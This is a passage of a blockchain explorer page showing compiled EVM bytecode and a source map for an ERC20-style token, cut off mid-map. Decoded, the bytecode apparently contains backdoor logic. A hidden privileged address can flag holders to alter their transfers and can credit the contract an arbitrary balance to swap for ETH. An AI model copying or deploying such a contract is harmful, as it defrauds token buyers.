c565b611925565b61144d565b9050919050565b6119588161192e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61199081611412565b82525050565b5f6119a18383611987565b60208301905092915050565b5f602082019050919050565b5f6119c38261195e565b6119cd8185611968565b93506119d883611978565b805f5b83811015611a085781516119ef8882611996565b97506119fa836119ad565b9250506001810190506119db565b5085935050505092915050565b5f60a082019050611a285f8301886114f1565b611a35602083018761194f565b8181036040830152611a4781866119b9565b9050611a566060830185611615565b611a6360808301846114f1565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea26469706673582212204399f948504ddb83686385f2941e531b5f343b34291357517a43a24c221b7ae864736f6c63430008150033

Deployed Bytecode

0x608060405234801561000f575f80fd5b5060043610610140575f3560e01c80636f268a99116100b65780638da5cb5b1161007a5780638da5cb5b1461030657806395d89b4114610324578063a457c2d714610342578063a9059cbb14610372578063dd62ed3e146103a2578063e29aba1a146103d257610140565b80636f268a991461029a57806370a08231146102b8578063715018a6146102e857806379d22b08146102f25780637c519ffb146102fc57610140565b806332424aa31161010857806332424aa3146101fe57806338046bb31461021c578063392fcfdf1461023857806339509351146102425780633eaaf86b1461027257806368f569231461029057610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b0578063313ce567146101e0575b5f80fd5b61014c6103ee565b60405161015991906113cb565b60405180910390f35b61017c60048036038101906101779190611480565b61047e565b60405161018991906114d8565b60405180910390f35b61019a610494565b6040516101a79190611500565b60405180910390f35b6101ca60048036038101906101c59190611519565b61049d565b6040516101d791906114d8565b60405180910390f35b6101e861053f565b6040516101f59190611500565b60405180910390f35b610206610548565b6040516102139190611500565b60405180910390f35b610236600480360381019061023191906115ca565b61054e565b005b610240610602565b005b61025c60048036038101906102579190611480565b610604565b60405161026991906114d8565b60405180910390f35b61027a6106a4565b6040516102879190611500565b60405180910390f35b6102986106aa565b005b6102a26106ac565b6040516102af9190611624565b60405180910390f35b6102d260048036038101906102cd919061163d565b6106d1565b6040516102df9190611500565b60405180910390f35b6102f0610717565b005b6102fa610846565b005b610304610848565b005b61030e61084a565b60405161031b9190611624565b60405180910390f35b61032c610871565b60405161033991906113cb565b60405180910390f35b61035c60048036038101906103579190611480565b610901565b60405161036991906114d8565b60405180910390f35b61038c60048036038101906103879190611480565b610a25565b60405161039991906114d8565b60405180910390f35b6103bc60048036038101906103b79190611668565b610a42565b6040516103c99190611500565b60405180910390f35b6103ec60048036038101906103e791906116a6565b610ac4565b005b6060600380546103fd90611711565b80601f016020809104026020016040519081016040528092919081815260200182805461042990611711565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d61565b6001905092915050565b5f600254905090565b5f6104a9848484610f24565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f0611203565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b5f600154905090565b60015481565b5f61055761120a565b90505f5b838390508110156105fc5761056e611211565b156105e957600182610580919061176e565b60085f868685818110610596576105956117a1565b5b90506020020160208101906105ab919061163d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806105f4906117ce565b91505061055b565b50505050565b565b5f61069a610610611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610695919061176e565b610d61565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1661073661084a565b73ffffffffffffffffffffffffffffffffffffffff161461078c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107839061185f565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461088090611711565b80601f01602080910402602001604051908101604052809291908181526020018280546108ac90611711565b80156108f75780601f106108ce576101008083540402835291602001916108f7565b820191905f5260205f20905b8154815290600101906020018083116108da57829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610986575f80fd5b610a1b610991611203565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a16919061187d565b610d61565b6001905092915050565b5f610a38610a31611203565b8484610f24565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610acc611211565b15610d5757610afd3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d61565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff811115610b5b57610b5a6118b0565b5b604051908082528060200260200182016040528015610b895781602001602082028036833780820191505090505b50905030815f81518110610ba057610b9f6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c44573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c6891906118f1565b81600181518110610c7c57610c7b6117a1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8486602042610d04919061176e565b6040518663ffffffff1660e01b8152600401610d24959493929190611a15565b5f604051808303815f87803b158015610d3b575f80fd5b505af1158015610d4d573d5f803e3d5ffd5b5050505050610d5c565b610d5d565b5b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dcf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc690611add565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3490611b6b565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f179190611500565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f5c575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610fa5575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516110029190611500565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611053919061187d565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f61109d61120a565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111096103e86110fb6103e78761126e90919063ffffffff16565b6112e590919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054141580156111555750815b1561115e578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111ab919061187d565b816111b6919061176e565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f43905090565b5f61121a611203565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f80830361127e575f90506112df565b5f828461128b9190611b89565b905082848261129a9190611bf7565b146112da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d190611c97565b60405180910390fd5b809150505b92915050565b5f808211611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f90611cff565b60405180910390fd5b5f82846113359190611bf7565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561137857808201518184015260208101905061135d565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61139d82611341565b6113a7818561134b565b93506113b781856020860161135b565b6113c081611383565b840191505092915050565b5f6020820190508181035f8301526113e38184611393565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61141c826113f3565b9050919050565b61142c81611412565b8114611436575f80fd5b50565b5f8135905061144781611423565b92915050565b5f819050919050565b61145f8161144d565b8114611469575f80fd5b50565b5f8135905061147a81611456565b92915050565b5f8060408385031215611496576114956113eb565b5b5f6114a385828601611439565b92505060206114b48582860161146c565b9150509250929050565b5f8115159050919050565b6114d2816114be565b82525050565b5f6020820190506114eb5f8301846114c9565b92915050565b6114fa8161144d565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b5f805f606084860312156115305761152f6113eb565b5b5f61153d86828701611439565b935050602061154e86828701611439565b925050604061155f8682870161146c565b9150509250925092565b5f80fd5b5f80fd5b5f80fd5b5f8083601f84011261158a57611589611569565b5b8235905067ffffffffffffffff8111156115a7576115a661156d565b5b6020830191508360208202830111156115c3576115c2611571565b5b9250929050565b5f80602083850312156115e0576115df6113eb565b5b5f83013567ffffffffffffffff8111156115fd576115fc6113ef565b5b61160985828601611575565b92509250509250929050565b61161e81611412565b82525050565b5f6020820190506116375f830184611615565b92915050565b5f60208284031215611652576116516113eb565b5b5f61165f84828501611439565b91505092915050565b5f806040838503121561167e5761167d6113eb565b5b5f61168b85828601611439565b925050602061169c85828601611439565b9150509250929050565b5f80604083850312156116bc576116bb6113eb565b5b5f6116c98582860161146c565b92505060206116da85828601611439565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172857607f821691505b60208210810361173b5761173a6116e4565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6117788261144d565b91506117838361144d565b925082820190508082111561179b5761179a611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6117d88261144d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361180a57611809611741565b5b600182019050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61184960208361134b565b915061185482611815565b602082019050919050565b5f6020820190508181035f8301526118768161183d565b9050919050565b5f6118878261144d565b91506118928361144d565b92508282039050818111156118aa576118a9611741565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506118eb81611423565b92915050565b5f60208284031215611906576119056113eb565b5b5f611913848285016118dd565b91505092915050565b5f819050919050565b5f819050919050565b5f61194861194361193e8461191c565b611925565b61144d565b9050919050565b6119588161192e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61199081611412565b82525050565b5f6119a18383611987565b60208301905092915050565b5f602082019050919050565b5f6119c38261195e565b6119cd8185611968565b93506119d883611978565b805f5b83811015611a085781516119ef8882611996565b97506119fa836119ad565b9250506001810190506119db565b5085935050505092915050565b5f60a082019050611a285f8301886114f1565b611a35602083018761194f565b8181036040830152611a4781866119b9565b9050611a566060830185611615565b611a6360808301846114f1565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611ac760258361134b565b9150611ad282611a6d565b604082019050919050565b5f6020820190508181035f830152611af481611abb565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5560238361134b565b9150611b6082611afb565b604082019050919050565b5f6020820190508181035f830152611b8281611b49565b9050919050565b5f611b938261144d565b9150611b9e8361144d565b9250828202611bac8161144d565b91508282048414831517611bc357611bc2611741565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611c018261144d565b9150611c0c8361144d565b925082611c1c57611c1b611bca565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c8160228361134b565b9150611c8c82611c27565b604082019050919050565b5f6020820190508181035f830152611cae81611c75565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce9601b8361134b565b9150611cf482611cb5565b602082019050919050565b5f6020820190508181035f830152611d1681611cdd565b905091905056fea26469706673582212204399f948504ddb83686385f2941e531b5f343b34291357517a43a24c221b7ae864736f6c63430008150033

Deployed Bytecode Sourcemap

8263:4979:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9194:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13081:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11256:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9940:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10958:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8332:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9575:359;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9401:43;;;:::i;:::-;;12662:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8369:57;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9495:34;;;:::i;:::-;;8806:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9285:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7364:148;;;:::i;:::-;;9535:34;;;:::i;:::-;;9450:39;;;:::i;:::-;;7518:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10174:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10583:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12869:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10443:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11355:570;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9194:85;9233:13;9266:5;9259:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9194:85;:::o;13081:158::-;13155:4;13172:37;13181:10;13193:7;13202:6;13172:8;:37::i;:::-;13227:4;13220:11;;13081:158;;;;:::o;11256:93::-;11302:7;11329:12;;11322:19;;11256:93;:::o;9940:228::-;10028:4;10045:35;10055:4;10061:9;10072:7;10045:9;:35::i;:::-;10130:7;10099:11;:17;10111:4;10099:17;;;;;;;;;;;;;;;:27;10117:8;:6;:8::i;:::-;10099:27;;;;;;;;;;;;;;;;:38;;10091:47;;;;;;10156:4;10149:11;;9940:228;;;;;:::o;10958:87::-;11001:7;11028:9;;11021:16;;10958:87;:::o;8332:28::-;;;;:::o;9575:359::-;9653:19;9675:16;:14;:16::i;:::-;9653:38;;9707:15;9702:225;9742:13;;:20;;9729:10;:33;9702:225;;;9800:17;:15;:17::i;:::-;9795:121;;;9899:1;9885:11;:15;;;;:::i;:::-;9846:9;:36;9856:13;;9870:10;9856:25;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9846:36;;;;;;;;;;;;;;;:54;;;;9795:121;9765:12;;;;;:::i;:::-;;;;9702:225;;;;9642:292;9575:359;;:::o;9401:43::-;:::o;12662:201::-;12742:4;12759:74;12768:8;:6;:8::i;:::-;12778:7;12822:10;12787:11;:23;12799:10;12787:23;;;;;;;;;;;;;;;:32;12811:7;12787:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;12759:8;:74::i;:::-;12851:4;12844:11;;12662:201;;;;:::o;8369:57::-;;;;:::o;9495:34::-;:::o;8806:25::-;;;;;;;;;;;;;:::o;9285:110::-;9342:7;9369:9;:18;9379:7;9369:18;;;;;;;;;;;;;;;;9362:25;;9285:110;;;:::o;7364:148::-;7760:10;7749:21;;:7;:5;:7::i;:::-;:21;;;7741:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;7471:1:::1;7434:40;;7455:6;::::0;::::1;;;;;;;;7434:40;;;;;;;;;;;;7502:1;7485:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;7364:148::o:0;9535:34::-;:::o;9450:39::-;:::o;7518:71::-;7564:7;7581:6;;;;;;;;;;;7574:13;;7518:71;:::o;10174:87::-;10213:13;10246:7;10239:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10174:87;:::o;10583:243::-;10656:4;10714:6;10681:11;:23;10693:10;10681:23;;;;;;;;;;;;;;;:29;10705:4;10681:29;;;;;;;;;;;;;;;;:39;;10673:48;;;;;;10732:64;10741:8;:6;:8::i;:::-;10751:4;10789:6;10757:11;:23;10769:10;10757:23;;;;;;;;;;;;;;;:29;10781:4;10757:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;10732:8;:64::i;:::-;10814:4;10807:11;;10583:243;;;;:::o;12869:154::-;12938:4;12955:38;12965:8;:6;:8::i;:::-;12975:9;12986:6;12955:9;:38::i;:::-;13011:4;13004:11;;12869:154;;;;:::o;10443:134::-;10515:7;10542:11;:18;10554:5;10542:18;;;;;;;;;;;;;;;:27;10561:7;10542:27;;;;;;;;;;;;;;;;10535:34;;10443:134;;;;:::o;11355:570::-;11437:17;:15;:17::i;:::-;11433:485;;;11471:53;11488:4;11503:11;;;;;;;;;;;11517:6;11471:8;:53::i;:::-;11567:6;11540:9;:24;11558:4;11540:24;;;;;;;;;;;;;;;:33;;;;11588:28;11633:1;11619:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11588:47;;11675:4;11650:11;11662:1;11650:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;11713:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11696:11;11708:1;11696:14;;;;;;;;:::i;:::-;;;;;;;:35;;;;;;;;;;;11747:11;;;;;;;;;;;:62;;;11810:6;11818:1;11821:11;11834:10;11864:2;11846:15;:20;;;;:::i;:::-;11747:120;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11456:423;11433:485;;;11900:7;;11433:485;11355:570;;;:::o;8840:346::-;8959:1;8942:19;;:5;:19;;;8934:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;9041:1;9022:21;;:7;:21;;;9014:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;9124:6;9094:11;:18;9106:5;9094:18;;;;;;;;;;;;;;;:27;9113:7;9094:27;;;;;;;;;;;;;;;:36;;;;9162:7;9146:32;;9155:5;9146:32;;;9171:6;9146:32;;;;;;:::i;:::-;;;;;;;;8840:346;;;:::o;11931:655::-;12011:17;12067:1;12051:18;;:4;:18;;;12043:27;;;;;;12098:9;:15;12108:4;12098:15;;;;;;;;;;;;;;;;12089:5;:24;;12081:33;;;;;;12145:2;12130:25;;12139:4;12130:25;;;12149:5;12130:25;;;;;;:::i;:::-;;;;;;;;12203:5;12184:9;:15;12194:4;12184:15;;;;;;;;;;;;;;;;:25;;;;:::i;:::-;12166:9;:15;12176:4;12166:15;;;;;;;;;;;;;;;:43;;;;12220:15;12259:16;:14;:16::i;:::-;12239:9;:15;12249:4;12239:15;;;;;;;;;;;;;;;;:37;;12220:57;;12288:25;12316:24;12335:4;12316:14;12326:3;12316:5;:9;;:14;;;;:::i;:::-;:18;;:24;;;;:::i;:::-;12288:52;;12375:1;12356:9;:15;12366:4;12356:15;;;;;;;;;;;;;;;;:20;;12355:36;;;;;12381:10;12355:36;12351:103;;;12423:17;12410:31;;12351:103;12464:17;12484:9;:13;12494:2;12484:13;;;;;;;;;;;;;;;;12464:33;;12532:9;12522:5;12521:21;;;;:::i;:::-;12508:34;;;;;:::i;:::-;;;12569:9;12553;:13;12563:2;12553:13;;;;;;;;;;;;;;;:25;;;;12000:586;;;;11931:655;;;:::o;11164:86::-;11205:7;11232:10;11225:17;;11164:86;:::o;10267:96::-;10316:7;10343:12;10336:19;;10267:96;:::o;11051:107::-;11100:4;11140:8;:6;:8::i;:::-;11125:24;;:10;;;;;;;;;;;:24;;;11117:33;;11051:107;:::o;6982:223::-;7040:7;7069:1;7064;:6;7060:23;;7080:1;7073:8;;;;7060:23;7093:9;7109:1;7105;:5;;;;:::i;:::-;7093:17;;7138:1;7133;7129;:5;;;;:::i;:::-;:10;7121:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7196:1;7189:8;;;6982:223;;;;;:::o;6796:178::-;6854:7;6886:1;6882;:5;6874:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;6930:9;6946:1;6942;:5;;;;:::i;:::-;6930:17;;6965:1;6958:8;;;6796:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:117::-;4532:1;4529;4522:12;4546:117;4655:1;4652;4645:12;4669:117;4778:1;4775;4768:12;4809:568;4882:8;4892:6;4942:3;4935:4;4927:6;4923:17;4919:27;4909:122;;4950:79;;:::i;:::-;4909:122;5063:6;5050:20;5040:30;;5093:18;5085:6;5082:30;5079:117;;;5115:79;;:::i;:::-;5079:117;5229:4;5221:6;5217:17;5205:29;;5283:3;5275:4;5267:6;5263:17;5253:8;5249:32;5246:41;5243:128;;;5290:79;;:::i;:::-;5243:128;4809:568;;;;;:::o;5383:559::-;5469:6;5477;5526:2;5514:9;5505:7;5501:23;5497:32;5494:119;;;5532:79;;:::i;:::-;5494:119;5680:1;5669:9;5665:17;5652:31;5710:18;5702:6;5699:30;5696:117;;;5732:79;;:::i;:::-;5696:117;5845:80;5917:7;5908:6;5897:9;5893:22;5845:80;:::i;:::-;5827:98;;;;5623:312;5383:559;;;;;:::o;5948:118::-;6035:24;6053:5;6035:24;:::i;:::-;6030:3;6023:37;5948:118;;:::o;6072:222::-;6165:4;6203:2;6192:9;6188:18;6180:26;;6216:71;6284:1;6273:9;6269:17;6260:6;6216:71;:::i;:::-;6072:222;;;;:::o;6300:329::-;6359:6;6408:2;6396:9;6387:7;6383:23;6379:32;6376:119;;;6414:79;;:::i;:::-;6376:119;6534:1;6559:53;6604:7;6595:6;6584:9;6580:22;6559:53;:::i;:::-;6549:63;;6505:117;6300:329;;;;:::o;6635:474::-;6703:6;6711;6760:2;6748:9;6739:7;6735:23;6731:32;6728:119;;;6766:79;;:::i;:::-;6728:119;6886:1;6911:53;6956:7;6947:6;6936: